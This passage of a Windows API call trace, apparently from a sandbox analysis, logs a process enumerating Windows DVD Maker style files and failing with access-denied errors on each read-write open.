nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0152.870] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.872] GetLastError () returned 0x5 [0152.872] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0152.872] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.872] GetLastError () returned 0x5 [0152.872] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0152.872] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.873] GetLastError () returned 0x5 [0152.873] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0152.873] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.873] GetLastError () returned 0x5 [0152.873] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0152.873] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.874] GetLastError () returned 0x5 [0152.874] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0152.874] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.874] GetLastError () returned 0x5 [0152.874] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0152.874] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.874] GetLastError () returned 0x5 [0152.874] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0152.874] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.875] GetLastError () returned 0x5 [0152.875] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0152.875] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.876] GetLastError () returned 0x5 [0152.876] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0152.876] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.876] GetLastError () returned 0x5 [0152.876] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0152.876] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.876] GetLastError () returned 0x5 [0152.876] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0152.876] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.877] GetLastError () returned 0x5 [0152.877] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0152.877] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.878] GetLastError () returned 0x5 [0152.878] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0152.878] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.878] GetLastError () returned 0x5 [0152.878] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0152.878] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.878] GetLastError () returned 0x5 [0152.878] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0152.878] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.878] GetLastError () returned 0x5 [0152.878] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0152.878] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.879] GetLastError () returned 0x5 [0152.879] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0152.879] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.880] GetLastError () returned 0x5 [0152.880] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0 [0152.880] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.881] GetProcessHeap () returned 0x2a0000 [0152.881] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.881] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0152.881] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.882] GetLastError () returned 0x5 [0152.882] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0152.882] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.882] GetLastError () returned 0x5 [0152.882] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0152.882] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.883] GetLastError () returned 0x5 [0152.883] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0152.883] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.884] GetLastError () returned 0x5 [0152.884] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0152.884] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.884] GetLastError () returned 0x5 [0152.884] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0152.884] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.884] GetLastError () returned 0x5 [0152.884] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0152.884] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.885] GetLastError () returned 0x5 [0152.885] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0152.885] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.886] GetLastError () returned 0x5 [0152.886] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0152.886] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd 